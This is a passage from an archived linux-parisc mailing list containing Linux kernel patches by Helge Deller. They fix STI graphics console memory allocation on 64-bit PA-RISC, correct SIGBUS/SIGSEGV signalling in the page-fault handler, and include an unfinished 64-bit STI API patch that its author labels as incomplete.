-	raw = kmalloc(size, GFP_KERNEL);
+	raw = kmalloc(size, STI_LOWMEM);
 	if (raw) {
 		sti_bmode_rom_copy(address, size, raw);
 		memmove (&raw->res004, &raw->type[0], 0x3c);
@@ -707,7 +719,7 @@ static struct sti_rom *sti_get_wmode_rom(unsigned long address)
 	/* read the ROM size directly from the struct in ROM */ 
 	size = gsc_readl(address + offsetof(struct sti_rom,last_addr));
 
-	raw = kmalloc(size, GFP_KERNEL);
+	raw = kmalloc(size, STI_LOWMEM);
 	if (raw)
 		sti_rom_copy(address, size, raw);
 
@@ -743,6 +755,10 @@ static int sti_read_rom(int wordmode, struct sti_struct *sti,
 
 	address = (unsigned long) STI_PTR(raw);
 
+	pr_info("STI ROM supports 32 %sbit firmware functions.\n",
+		raw->alt_code_type == ALT_CODE_TYPE_PA_RISC_64
+		? "and 64 " : "");
+
 	sti->font_unpmv = address + (raw->font_unpmv & 0x03ffffff);
 	sti->block_move = address + (raw->block_move & 0x03ffffff);
 	sti->init_graph = address + (raw->init_graph & 0x03ffffff);
@@ -901,7 +917,8 @@ test_rom:
 	sti_dump_globcfg(sti->glob_cfg, sti->sti_mem_request);
 	sti_dump_outptr(sti);
 	
-	printk(KERN_INFO "    graphics card name: %s\n", sti->outptr.dev_name );
+	pr_info("    graphics card name: %s\n",
+		sti->sti_data->inq_outptr.dev_name);
 
 	sti_roms[num_sti_roms] = sti;
 	num_sti_roms++;
@@ -1073,6 +1090,29 @@ struct sti_struct * sti_get_rom(unsigned int index)
 }
 EXPORT_SYMBOL(sti_get_rom);
 
+
+int sti_call(const struct sti_struct *sti, unsigned long func,
+		const void *flags, void *inptr, void *outptr,
+		struct sti_glob_cfg *glob_cfg)
+{
+	unsigned long _flags = STI_PTR(flags);
+	unsigned long _inptr = STI_PTR(inptr);
+	unsigned long _outptr = STI_PTR(outptr);
+	unsigned long _glob_cfg = STI_PTR(glob_cfg);
+	int ret;
+
+#ifdef CONFIG_64BIT
+	/* Check for overflow when using 32bit STI on 64bit kernel. */
+	if (WARN_ONCE(_flags>>32 || _inptr>>32 || _outptr>>32 || _glob_cfg>>32,
+			"Out of 32bit-range pointers!"))
+		return -1;
+#endif
+
+	ret = pdc_sti_call(func, _flags, _inptr, _outptr, _glob_cfg);
+
+	return ret;
+}
+
 MODULE_AUTHOR("Philipp Rumpf, Helge Deller, Thomas Bogendoerfer");
 MODULE_DESCRIPTION("Core STI driver for HP's NGLE series graphics cards in HP PARISC machines");
 MODULE_LICENSE("GPL v2");
diff --git a/drivers/video/sticore.h b/drivers/video/sticore.h
index addf7b6..af16195 100644
--- a/drivers/video/sticore.h
+++ b/drivers/video/sticore.h
@@ -18,6 +18,9 @@
 #define STI_FONT_HPROMAN8 1
 #define STI_FONT_KANA8 2
 
+#define ALT_CODE_TYPE_UNKNOWN 0x00	/* alt code type values */
+#define ALT_CODE_TYPE_PA_RISC_64 0x01
+
 /* The latency of the STI functions cannot really be reduced by setting
  * this to 0;  STI doesn't seem to be designed to allow calling a different
  * function (or the same function with different arguments) after a
@@ -40,14 +43,6 @@
 
 #define STI_PTR(p)	( virt_to_phys(p) )
 #define PTR_STI(p)	( phys_to_virt((unsigned long)p) )
-#define STI_CALL(func, flags, inptr, outptr, glob_cfg)	\
-       ({						\
-               pdc_sti_call( func, STI_PTR(flags),	\
-				   STI_PTR(inptr),	\
-				   STI_PTR(outptr),	\
-				   STI_PTR(glob_cfg));	\
-       })
-
 
 #define sti_onscreen_x(sti) (sti->glob_cfg->onscreen_x)
 #define sti_onscreen_y(sti) (sti->glob_cfg->onscreen_y)
@@ -56,6 +51,12 @@
 #define sti_font_x(sti) (PTR_STI(sti->font)->width)
 #define sti_font_y(sti) (PTR_STI(sti->font)->height)
 
+#ifdef CONFIG_64BIT
+#define STI_LOWMEM	(GFP_KERNEL | GFP_DMA)
+#else
+#define STI_LOWMEM	(GFP_KERNEL)
+#endif
+
 
 /* STI function configuration structs */
 
@@ -306,6 +307,34 @@ struct sti_blkmv_outptr {
 };
 
 
+/* sti_all_data is an internal struct which needs to be allocated in
+ * low memory (< 4GB) if STI is used with 32bit STI on a 64bit kernel */
+
+struct sti_all_data {
+	struct sti_glob_cfg glob_cfg;
+	struct sti_glob_cfg_ext glob_cfg_ext;
+
+	struct sti_conf_inptr		inq_inptr;
+	struct sti_conf_outptr		inq_outptr; /* configuration */
+	struct sti_conf_outptr_ext	inq_outptr_ext;
+
+	struct sti_init_inptr_ext	init_inptr_ext;
+	struct sti_init_inptr		init_inptr;
+	struct sti_init_outptr		init_outptr;
+
+	struct sti_blkmv_inptr		blkmv_inptr;
+	struct sti_blkmv_outptr		blkmv_outptr;
+
+	struct sti_font_inptr		font_inptr;
+	struct sti_font_outptr		font_outptr;
+
+	/* leave as last entries */
+	unsigned long save_addr[1024 / sizeof(unsigned long)];
+	   /* min 256 bytes which is STI default, max sti->sti_mem_request */
+	unsigned long sti_mem_addr[256 / sizeof(unsigned long)];
+	/* do not add something below here ! */
+};
+
 /* internal generic STI struct */
 
 struct sti_struct {
@@ -330,11 +359,9 @@ struct sti_struct {
 	region_t regions[STI_REGION_MAX];
 	unsigned long regions_phys[STI_REGION_MAX];
 
-	struct sti_glob_cfg *glob_cfg;
-	struct sti_cooked_font *font;	/* ptr to selected font (cooked) */
+	struct sti_glob_cfg *glob_cfg;	/* points into sti_all_data */
 
-	struct sti_conf_outptr outptr; /* configuration */
-	struct sti_conf_outptr_ext outptr_ext;
+	struct sti_cooked_font *font;	/* ptr to selected font (cooked) */
 
 	struct pci_dev *pd;
 
@@ -343,6 +370,9 @@ struct sti_struct {
 
 	/* pointer to the fb_info where this STI device is used */
 	struct fb_info *info;
+
+	/* pointer to all internal data */
+	struct sti_all_data *sti_data;
 };
 
 
@@ -350,6 +380,14 @@ struct sti_struct {
 
 struct sti_struct *sti_get_rom(unsigned int index); /* 0: default sti */
 
+
+/* sticore main function to call STI firmware */
+
+int sti_call(const struct sti_struct *sti, unsigned long func,
+		const void *flags, void *inptr, void *outptr,
+		struct sti_glob_cfg *glob_cfg);
+
+
 /* functions to call the STI ROM directly */
 
 void sti_putc(struct sti_struct *sti, int c, int y, int x);
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:52 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: signal fixup - SIGBUS vs. SIGSEGV
Date: Thu, 7 Nov 2013 17:25:47 +0100
Lines: 43
Approved: news@gmane.org
Message-ID: <20131107162547.GA12336@ls3530.dhcp.wdf.sap.corp>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1383841570 9069 80.91.229.3 (7 Nov 2013 16:26:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 7 Nov 2013 16:26:10 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Nov 07 17:26:13 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VeSPM-0000Dy-2q
	for glpp-linux-parisc@plane.gmane.org; Thu, 07 Nov 2013 17:26:12 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753141Ab3KGQ0L (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 7 Nov 2013 11:26:11 -0500
Original-Received: from mout.gmx.net ([212.227.17.20]:53722 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752476Ab3KGQ0K (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 7 Nov 2013 11:26:10 -0500
Original-Received: from ls3530.dhcp.wdf.sap.corp ([155.56.40.73]) by mail.gmx.com
 (mrgmx103) with ESMTPSA (Nemesis) id 0LfkJC-1VxVTW2esM-00pJuW for
 <linux-parisc@vger.kernel.org>; Thu, 07 Nov 2013 17:26:08 +0100
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:8bKzCsusqoxeSCFeRHzvQhY+S0dThaas1/mMaazxit4LLAaQbtb
 4DgXl6RyVXiAFbL3YxulukHXZV8LSdRZlR0mpk6XeDMfPbHgSD4pg3A3Vwa1Q+gUVtxqIjR
 beWj7AgohzFyh6W0WRm+PierTZlINbq65FHfDedcMZO2gCxDEOym21CFprtxnqB7IXtHIlV
 vFZlD3X8bThB9SXI0pz6g==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5461
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5461>

Clean up code to send correct signal on invalid memory accesses:
Send SIGBUS instead of SIGSEGV for memory accesses outside of mmap'ed areas

This fixes the mmap13 testcase from the Linux Test Project.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/mm/fault.c b/arch/parisc/mm/fault.c
index 0293588..6ab70d7 100644
--- a/arch/parisc/mm/fault.c
+++ b/arch/parisc/mm/fault.c
@@ -274,12 +274,22 @@ bad_area:
 		}
 		show_regs(regs);
 #endif
-		/* FIXME: actually we need to get the signo and code correct */
-		si.si_signo = SIGSEGV;
+		switch (code) {
+		case 15:	/* Data TLB miss fault/Data page fault */
+		case 17:	/* NA data TLB miss / page fault */
+		case 18:	/* Unaligned access - PCXS only */
+			si.si_signo = SIGBUS;
+			si.si_code = BUS_ADRERR;
+			break;
+		case 16:	/* Non-access instruction TLB miss fault */
+		case 26:	/* PCXL: Data memory access rights trap */
+		default:
+			si.si_signo = SIGSEGV;
+			si.si_code = SEGV_MAPERR;
+		}
 		si.si_errno = 0;
-		si.si_code = SEGV_MAPERR;
 		si.si_addr = (void __user *) address;
-		force_sig_info(SIGSEGV, &si, current);
+		force_sig_info(si.si_signo, &si, current);
 		return;
 	}
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:52 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: sticon - fix 64bit and font selection
 (unfinished support-for-64bit-STI-API patch)
Date: Thu, 7 Nov 2013 20:29:59 +0100
Lines: 749
Approved: news@gmane.org
Message-ID: <20131107192959.GA1320@p100.box>
References: <20131106223859.GA15569@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1383852602 14665 80.91.229.3 (7 Nov 2013 19:30:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 7 Nov 2013 19:30:02 +0000 (UTC)
To: linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Nov 07 20:30:06 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1VeVHJ-0000Pe-MX
	for glpp-linux-parisc@plane.gmane.org; Thu, 07 Nov 2013 20:30:06 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751637Ab3KGTaE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 7 Nov 2013 14:30:04 -0500
Original-Received: from mout.gmx.net ([212.227.15.18]:55657 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751228Ab3KGTaD (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 7 Nov 2013 14:30:03 -0500
Original-Received: from p100.box ([84.173.67.177]) by mail.gmx.com (mrgmx003) with
 ESMTPSA (Nemesis) id 0MC4y8-1VVfZY2oMK-008o4r for
 <linux-parisc@vger.kernel.org>; Thu, 07 Nov 2013 20:30:01 +0100
Content-Disposition: inline
In-Reply-To: <20131106223859.GA15569@p100.box>
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:ibV+d4rTa5osLJfYm7rNueJSQbauj8jjBl4vOnta8noLIMEbVmL
 7PuPZYLgHVyR8IcL7PDQIDqPUocC3TU4gDn+Mw+hjyBr2GtjjHpLzDqJAxFDtrvaeQAIHOd
 6JEV68OUiKDtWtDWG8J4Y2p3fajVfqXOaP/BAiU0VjfAyGsT4e8eZqXI2TIOD2tgWV5GgfG
 cDG/7c5lRmIXYKJxTYueg==
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:5462
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/5462>

* Helge Deller <deller@gmx.de>:
> STI text console (sticon) was broken on 64bit machines with more than
> 4GB and lead in some cases to a kernel crash.
> 
> Since sticon uses the 32bit STI API it needs to keep pointers to memory
> below 4GB. But on a 64bit kernel some memory regions (e.g. the kernel
> stack) might be above 4GB which then may crash the kernel in the STI
> functions.
> 
> Additionally sticon didn't selected the built-in framebuffer fonts by
> default. This is now fixed.
> 
> On a side-note: Theoretically we could enhance the sticon driver to
> use the 64bit STI API. But this just adds complexity and on some
> machines a 64bit STI is just not available.

Just for the archive - here is an unfinished version of my STIcon patch
which can be used to develop a version which additionally supports the
64bit STI functions.
Most changes are identical to the committed version.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/pdc.h b/arch/parisc/include/asm/pdc.h
index 7eb616e..501e564 100644
--- a/arch/parisc/include/asm/pdc.h
+++ b/arch/parisc/include/asm/pdc.h
@@ -318,9 +318,14 @@ int pdc_iodc_getc(void);
 int pdc_iodc_print(const unsigned char *str, unsigned count);
 
 void pdc_emergency_unlock(void);
-int pdc_sti_call(unsigned long func, unsigned long flags,
+int pdc_sti_call32(unsigned long func, unsigned long flags,
                  unsigned long inptr, unsigned long outputr,
                  unsigned long glob_cfg);
+#ifdef CONFIG_64BIT
+int pdc_sti_call64(unsigned long func, unsigned long flags,
+                 unsigned long inptr, unsigned long outputr,
+                 unsigned long glob_cfg);
+#endif
 
 static inline char * os_id_to_string(u16 os_id) {
 	switch(os_id) {
diff --git a/arch/parisc/kernel/firmware.c b/arch/parisc/kernel/firmware.c
index 2239590..cb50107 100644
--- a/arch/parisc/kernel/firmware.c
+++ b/arch/parisc/kernel/firmware.c
@@ -1185,7 +1185,7 @@ int pdc_iodc_getc(void)
 	return ch;
 }
 
-int pdc_sti_call(unsigned long func, unsigned long flags,
+int pdc_sti_call32(unsigned long func, unsigned long flags,
                  unsigned long inptr, unsigned long outputr,
                  unsigned long glob_cfg)
 {
@@ -1198,9 +1198,25 @@ int pdc_sti_call(unsigned long func, unsigned long flags,
 
         return retval;
 }
-EXPORT_SYMBOL(pdc_sti_call);
+EXPORT_SYMBOL(pdc_sti_call32);
 
 #ifdef CONFIG_64BIT
+int pdc_sti_call64(unsigned long func, unsigned long flags,
+                 unsigned long inptr, unsigned long outputr,
+                 unsigned long glob_cfg)
+{
+	int retval;
+	unsigned long irqflags;
+
+	spin_lock_irqsave(&pdc_lock, irqflags);
+	retval = real64_call(func, flags, inptr, outputr, glob_cfg);
+	spin_unlock_irqrestore(&pdc_lock, irqflags);
+
+	return retval;
+}
+EXPORT_SYMBOL(pdc_sti_call64);
+
+
 /**
  * pdc_pat_cell_get_number - Returns the cell number.
  * @cell_info: The return buffer.
diff --git a/drivers/video/console/sticore.c b/drivers/video/console/sticore.c
index 35687fd..0095f50 100644
--- a/drivers/video/console/sticore.c
+++ b/drivers/video/console/sticore.c
@@ -73,28 +73,34 @@ static const struct sti_init_flags default_init_flags = {
 
 static int sti_init_graph(struct sti_struct *sti)
 {
-	struct sti_init_inptr_ext inptr_ext = { 0, };
-	struct sti_init_inptr inptr = {
-		.text_planes	= 3, /* # of text planes (max 3 for STI) */
-		.ext_ptr	= STI_PTR(&inptr_ext)
-	};
-	struct sti_init_outptr outptr = { 0, };
+	struct sti_init_inptr *inptr = &sti->sti_data->init_inptr;
+	struct sti_init_inptr_ext *inptr_ext = &sti->sti_data->init_inptr_ext;
+	struct sti_init_outptr *outptr = &sti->sti_data->init_outptr;
 	unsigned long flags;
-	int ret;
+	int ret, err;
 
 	spin_lock_irqsave(&sti->lock, flags);
 
-	ret = STI_CALL(sti->init_graph, &default_init_flags, &inptr,
-		&outptr, sti->glob_cfg);
+	memset(inptr, 0, sizeof(*inptr));
+	inptr->text_planes = 3; /* # of text planes (max 3 for STI) */
+	memset(inptr_ext, 0, sizeof(*inptr_ext));
+	inptr->ext_ptr = STI_LONGPTR(sti, inptr_ext);
+	outptr->errno = 0;
+
+	ret = sti_call(sti, sti->init_graph, &default_init_flags, inptr,
+		outptr, sti->glob_cfg);
+
+	if (ret >= 0)
+		sti->text_planes = outptr->text_planes;
+	err = outptr->errno;
 
 	spin_unlock_irqrestore(&sti->lock, flags);
 
 	if (ret < 0) {
-		printk(KERN_ERR "STI init_graph failed (ret %d, errno %d)\n",ret,outptr.errno);
+		printk(KERN_ERR "STI init_graph failed (ret %d, errno %d)\n", ret, err);
 		return -1;
 	}
 	
-	sti->text_planes = outptr.text_planes;
 	return 0;
 }
 
@@ -104,16 +110,18 @@ static const struct sti_conf_flags default_conf_flags = {
 
 static void sti_inq_conf(struct sti_struct *sti)
 {
-	struct sti_conf_inptr inptr = { 0, };
+	struct sti_conf_inptr *inptr = &sti->sti_data->inq_inptr;
+	struct sti_conf_outptr *outptr = &sti->sti_data->inq_outptr;
 	unsigned long flags;
 	s32 ret;
 
-	sti->outptr.ext_ptr = STI_PTR(&sti->outptr_ext);
+	outptr->ext_ptr = STI_LONGPTR(sti, &sti->sti_data->inq_outptr_ext);
 	
 	do {
 		spin_lock_irqsave(&sti->lock, flags);
-		ret = STI_CALL(sti->inq_conf, &default_conf_flags,
-			&inptr, &sti->outptr, sti->glob_cfg);
+		memset(inptr, 0, sizeof(*inptr));
+		ret = sti_call(sti, sti->inq_conf, &default_conf_flags,
+			inptr, outptr, sti->glob_cfg);
 		spin_unlock_irqrestore(&sti->lock, flags);
 	} while (ret == 1);
 }
@@ -126,7 +134,8 @@ static const struct sti_font_flags default_font_flags = {
 void
 sti_putc(struct sti_struct *sti, int c, int y, int x)
 {
-	struct sti_font_inptr inptr = {
+	struct sti_font_inptr *inptr = &sti->sti_data->font_inptr;
+	struct sti_font_inptr inptr_default = {
 		.font_start_addr= STI_PTR(sti->font->raw),
 		.index		= c_index(sti, c),
 		.fg_color	= c_fg(sti, c),
@@ -134,14 +143,15 @@ sti_putc(struct sti_struct *sti, int c, int y, int x)
 		.dest_x		= x * sti->font_width,
 		.dest_y		= y * sti->font_height,
 	};
-	struct sti_font_outptr outptr = { 0, };
+	struct sti_font_outptr *outptr = &sti->sti_data->font_outptr;
 	s32 ret;
 	unsigned long flags;
 
 	do {
 		spin_lock_irqsave(&sti->lock, flags);
-		ret = STI_CALL(sti->font_unpmv, &default_font_flags,
-			&inptr, &outptr, sti->glob_cfg);
+		*inptr = inptr_default;
+		ret = sti_call(sti, sti->font_unpmv, &default_font_flags,
+			inptr, outptr, sti->glob_cfg);
 		spin_unlock_irqrestore(&sti->lock, flags);
 	} while (ret == 1);
 }
@@ -156,7 +166,8 @@ void
 sti_set(struct sti_struct *sti, int src_y, int src_x,
 	int height, int width, u8 color)
 {
-	struct sti_blkmv_inptr inptr = {
+	struct sti_blkmv_inptr *inptr = &sti->sti_data->blkmv_inptr;
+	struct sti_blkmv_inptr inptr_default = {
 		.fg_color	= color,
 		.bg_color	= color,
 		.src_x		= src_x,
@@ -166,14 +177,15 @@ sti_set(struct sti_struct *sti, int src_y, int src_x,
 		.width		= width,
 		.height		= height,
 	};
-	struct sti_blkmv_outptr outptr = { 0, };
+	struct sti_blkmv_outptr *outptr = &sti->sti_data->blkmv_outptr;
 	s32 ret;
 	unsigned long flags;
 	
 	do {
 		spin_lock_irqsave(&sti->lock, flags);
-		ret = STI_CALL(sti->block_move, &clear_blkmv_flags,
-			&inptr, &outptr, sti->glob_cfg);
+		*inptr = inptr_default;
+		ret = sti_call(sti, sti->block_move, &clear_blkmv_flags,
+			inptr, outptr, sti->glob_cfg);
 		spin_unlock_irqrestore(&sti->lock, flags);
 	} while (ret == 1);
 }
@@ -182,7 +194,8 @@ void
 sti_clear(struct sti_struct *sti, int src_y, int src_x,
 	  int height, int width, int c)
 {
-	struct sti_blkmv_inptr inptr = {
+	struct sti_blkmv_inptr *inptr = &sti->sti_data->blkmv_inptr;
+	struct sti_blkmv_inptr inptr_default = {
 		.fg_color	= c_fg(sti, c),
 		.bg_color	= c_bg(sti, c),
 		.src_x		= src_x * sti->font_width,
@@ -192,14 +205,15 @@ sti_clear(struct sti_struct *sti, int src_y, int src_x,
 		.width		= width * sti->font_width,
 		.height		= height* sti->font_height,
 	};
-	struct sti_blkmv_outptr outptr = { 0, };
+	struct sti_blkmv_outptr *outptr = &sti->sti_data->blkmv_outptr;
 	s32 ret;
 	unsigned long flags;
 
 	do {
 		spin_lock_irqsave(&sti->lock, flags);
-		ret = STI_CALL(sti->block_move, &clear_blkmv_flags,
-			&inptr, &outptr, sti->glob_cfg);
+		*inptr = inptr_default;
+		ret = sti_call(sti, sti->block_move, &clear_blkmv_flags,
+			inptr, outptr, sti->glob_cfg);
 		spin_unlock_irqrestore(&sti->lock, flags);
 	} while (ret == 1);
 }
@@ -212,7 +226,8 @@ void
 sti_bmove(struct sti_struct *sti, int src_y, int src_x,
 	  int dst_y, int dst_x, int height, int width)
 {
-	struct sti_blkmv_inptr inptr = {
+	struct sti_blkmv_inptr *inptr = &sti->sti_data->blkmv_inptr;
+	struct sti_blkmv_inptr inptr_default = {
 		.src_x		= src_x * sti->font_width,
 		.src_y		= src_y * sti->font_height,
 		.dest_x		= dst_x * sti->font_width,
@@ -220,14 +235,15 @@ sti_bmove(struct sti_struct *sti, int src_y, int src_x,
 		.width		= width * sti->font_width,
 		.height		= height* sti->font_height,
 	};
-	struct sti_blkmv_outptr outptr = { 0, };
+	struct sti_blkmv_outptr *outptr = &sti->sti_data->blkmv_outptr;
 	s32 ret;
 	unsigned long flags;
 
 	do {
 		spin_lock_irqsave(&sti->lock, flags);
-		ret = STI_CALL(sti->block_move, &default_blkmv_flags,
-			&inptr, &outptr, sti->glob_cfg);
+		*inptr = inptr_default;
+		ret = sti_call(sti, sti->block_move, &default_blkmv_flags,
+			inptr, outptr, sti->glob_cfg);
 		spin_unlock_irqrestore(&sti->lock, flags);
 	} while (ret == 1);
 }
@@ -389,10 +405,10 @@ static void sti_dump_outptr(struct sti_struct *sti)
 		"%d used bits\n"
 		"%d planes\n"
 		"attributes %08x\n",
-		 sti->outptr.bits_per_pixel,
-		 sti->outptr.bits_used,
-		 sti->outptr.planes,
-		 sti->outptr.attributes));
+		 sti->sti_data->inq_outptr.bits_per_pixel,
+		 sti->sti_data->inq_outptr.bits_used,
+		 sti->sti_data->inq_outptr.planes,
+		 sti->sti_data->inq_outptr.attributes));
 }
 
 static int sti_init_glob_cfg(struct sti_struct *sti, unsigned long rom_address,
@@ -402,24 +418,21 @@ static int sti_init_glob_cfg(struct sti_struct *sti, unsigned long rom_address,
 	struct sti_glob_cfg_ext *glob_cfg_ext;
 	void *save_addr;
 	void *sti_mem_addr;
-	const int save_addr_size = 1024;	/* XXX */
-	int i;
+	int i, size;
 
-	if (!sti->sti_mem_request)
+	if (sti->sti_mem_request < 256)
 		sti->sti_mem_request = 256; /* STI default */
 
-	glob_cfg = kzalloc(sizeof(*sti->glob_cfg), GFP_KERNEL);
-	glob_cfg_ext = kzalloc(sizeof(*glob_cfg_ext), GFP_KERNEL);
-	save_addr = kzalloc(save_addr_size, GFP_KERNEL);
-	sti_mem_addr = kzalloc(sti->sti_mem_request, GFP_KERNEL);
+	size = sizeof(struct sti_all_data) + sti->sti_mem_request - 256;
 
-	if (!(glob_cfg && glob_cfg_ext && save_addr && sti_mem_addr)) {
-		kfree(glob_cfg);
-		kfree(glob_cfg_ext);
-		kfree(save_addr);
-		kfree(sti_mem_addr);
+	sti->sti_data = kzalloc(size, GFP_KERNEL | GFP_DMA);
+	if (!sti->sti_data)
 		return -ENOMEM;
-	}
+
+	glob_cfg	= &sti->sti_data->glob_cfg;
+	glob_cfg_ext	= &sti->sti_data->glob_cfg_ext;
+	save_addr	= &sti->sti_data->save_addr;
+	sti_mem_addr	= &sti->sti_data->sti_mem_addr;
 
 	glob_cfg->ext_ptr = STI_PTR(glob_cfg_ext);
 	glob_cfg->save_addr = STI_PTR(save_addr);
@@ -500,7 +513,7 @@ sti_select_fbfont(struct sti_cooked_rom *cooked_rom, const char *fbfont_name)
 	size = bpc * 256;
 	size += sizeof(struct sti_rom_font);
 
-	nf = kzalloc(size, GFP_KERNEL);
+	nf = kzalloc(size, GFP_KERNEL | GFP_DMA);
 	if (!nf)
 		return NULL;
 
@@ -637,7 +650,7 @@ static void *sti_bmode_font_raw(struct sti_cooked_font *f)
 	unsigned char *n, *p, *q;
 	int size = f->raw->bytes_per_char*256+sizeof(struct sti_rom_font);
 	
-	n = kzalloc (4*size, GFP_KERNEL);
+	n = kzalloc (4*size, GFP_KERNEL | GFP_DMA);
 	if (!n)
 		return NULL;
 	p = n + 3;
@@ -673,7 +686,7 @@ static struct sti_rom *sti_get_bmode_rom (unsigned long address)
 	sti_bmode_rom_copy(address + BMODE_LAST_ADDR_OFFS, sizeof(size), &size);
 
 	size = (size+3) / 4;
-	raw = kmalloc(size, GFP_KERNEL);
+	raw = kmalloc(size, GFP_KERNEL | GFP_DMA);
 	if (raw) {
 		sti_bmode_rom_copy(address, size, raw);
 		memmove (&raw->res004, &raw->type[0], 0x3c);
@@ -707,7 +720,7 @@ static struct sti_rom *sti_get_wmode_rom(unsigned long address)
 	/* read the ROM size directly from the struct in ROM */ 
 	size = gsc_readl(address + offsetof(struct sti_rom,last_addr));
 
-	raw = kmalloc(size, GFP_KERNEL);
+	raw = kmalloc(size, GFP_KERNEL | GFP_DMA);
 	if (raw)
 		sti_rom_copy(address, size, raw);
 
@@ -743,11 +756,48 @@ static int sti_read_rom(int wordmode, struct sti_struct *sti,
 
 	address = (unsigned long) STI_PTR(raw);
 
+	pr_info("STI ROM supports 32 %sbit firmware functions.\n",
+		raw->alt_code_type == ALT_CODE_TYPE_PA_RISC_64 ? "and 64 ":"");
+
+#ifdef CONFIG_64BIT
+	/* Check if STI firmware includes 64bit API functions. */
+	sti->use_64bit = (raw->alt_code_type == ALT_CODE_TYPE_PA_RISC_64);
+
+ sti->use_64bit = 0; /* XXX */
+
+	/* Prefer 64bit STI API if available. */
+	if (STI_USE_64bit) {
+		pr_warn("STI: Using 64bit STI functions.\n");
+		sti->font_unpmv = address + (raw->font_unp_64bit   & 0x03ffffff);
+		sti->block_move = address + (raw->block_move_64bit & 0x03ffffff);
+		sti->init_graph = address + (raw->init_graph_64bit & 0x03ffffff);
+		sti->inq_conf   = address + (raw->inq_conf_64bit   & 0x03ffffff);
+		goto cont1;
+	}
+
+	pr_warn("STI: Memory = %u bytes\n", PAGE0->imm_max_mem);
+	if (PAGE0->imm_max_mem >= (3UL*1024+512)*1024*1024) {
+		pr_warn("STI: Sorry, 64bit STI firmware functions needed on machines with > 3.5 GB.\n");
+		goto out_err;
+	}
+
+	/* If the machine has less than 4GB physical RAM, then just use the
+	 * 32bit STI functions. Since we need to convert all pointers into
+	 * physical addresses, all will be below 4GB which is reachable by
+	 * the 32bit STI implementation.
+	 */
+#endif
+
+	pr_warn("STI: Using 32bit STI functions.\n");
 	sti->font_unpmv = address + (raw->font_unpmv & 0x03ffffff);
 	sti->block_move = address + (raw->block_move & 0x03ffffff);
 	sti->init_graph = address + (raw->init_graph & 0x03ffffff);
 	sti->inq_conf   = address + (raw->inq_conf   & 0x03ffffff);
 
+#ifdef CONFIG_64BIT
+cont1:
+#endif
+
 	sti->rom = cooked;
 	sti->rom->raw = raw;
 	
@@ -901,7 +951,7 @@ test_rom:
 	sti_dump_globcfg(sti->glob_cfg, sti->sti_mem_request);
 	sti_dump_outptr(sti);
 	
-	printk(KERN_INFO "    graphics card name: %s\n", sti->outptr.dev_name );
+	printk(KERN_INFO "    graphics card name: %s\n", sti->sti_data->inq_outptr.dev_name );
 
 	sti_roms[num_sti_roms] = sti;
 	num_sti_roms++;
@@ -1073,6 +1123,35 @@ struct sti_struct * sti_get_rom(unsigned int index)
 }
 EXPORT_SYMBOL(sti_get_rom);
 
+
+int sti_call(const struct sti_struct *sti, unsigned long func, const void *flags,
+                void *inptr, void *outptr, struct sti_glob_cfg *glob_cfg)
+{
+	unsigned long _flags = STI_PTR(flags);
